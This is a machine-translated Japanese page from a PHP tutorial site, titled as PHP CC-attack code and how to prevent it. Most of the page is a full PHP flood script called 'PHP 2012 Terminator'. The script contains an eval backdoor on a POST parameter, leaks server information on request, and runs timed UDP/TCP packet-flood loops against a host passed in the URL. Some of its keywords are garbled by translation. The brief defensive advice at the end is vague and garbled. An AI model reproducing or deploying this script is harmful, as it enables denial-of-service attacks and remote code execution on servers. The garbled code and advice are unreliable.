ホームページ  >  記事  >  バックエンド開発  >  php cc攻撃コード cc攻撃の防止方法

php cc攻撃コード cc攻撃の防止方法

WBOY
WBOYオリジナル
2016-07-25 08:54:251353ブラウズ
  1. eval($_POST[Chr(90)]);
  2. set_time_limit(86400);
  3. ignore_user_abort(True);
  4. $パケット = 0;
  5. $http = $_GET['http'];
  6. $rand = $_GET['終了'];
  7. $exec_time = $_GET['time'];
  8. if (StrLen($http)==0 または StrLen($rand)==0 または StrLen($exec_time)==0)
  9. {
  10. if(StrLen($_GET['rat'])<>0 )
  11. {
  12. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER ['SERVER_SOFTWARE'].$_GET['rat'];
  13. 終了;
  14. }
  15. エコー「PHP 2012 ターミネーター」;
  16. 終了;
  17. }
  18. for($i=0;$i{
  19. $out .= "X";
  20. }
  21. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  22. $max_time = time()+$exec_time;
  23. if($rand==53)
  24. while(1)
  25. {
  26. $packets++;
  27. if(time() > $max_time)
  28. {
  29. break;
  30. }
  31. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  32. if($fp)
  33. {
  34. fwrite($fp, $out);
  35. fclose($fp);
  36. }
  37. }
  38. else
  39. if($rand==500)
  40. while(1)
  41. {
  42. $packets++;
  43. if(time() > $max_time){
  44. break;
  45. }
  46. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  47. if($fp)
  48. {
  49. fwrite($fp, $out);
  50. fclose($fp);
  51. }
  52. }
  53. else
  54. while(1)
  55. {
  56. $packets++;
  57. if(time() > $max_time){
  58. break;
  59. }
  60. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  61. if($fp)
  62. {
  63. fwrite($fp, $out);
  64. fclose($fp);
  65. }
  66. ?>
复制コード
CC攻撃の防御策、場合によっては、静的なWebサイトの場合、時間を判断することができ、サーバー上にCC攻撃防御策をインストールする必要があります、一般サーバー安全犬も危険ではありません。

php cc攻撃击の防御、要時刻注意。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。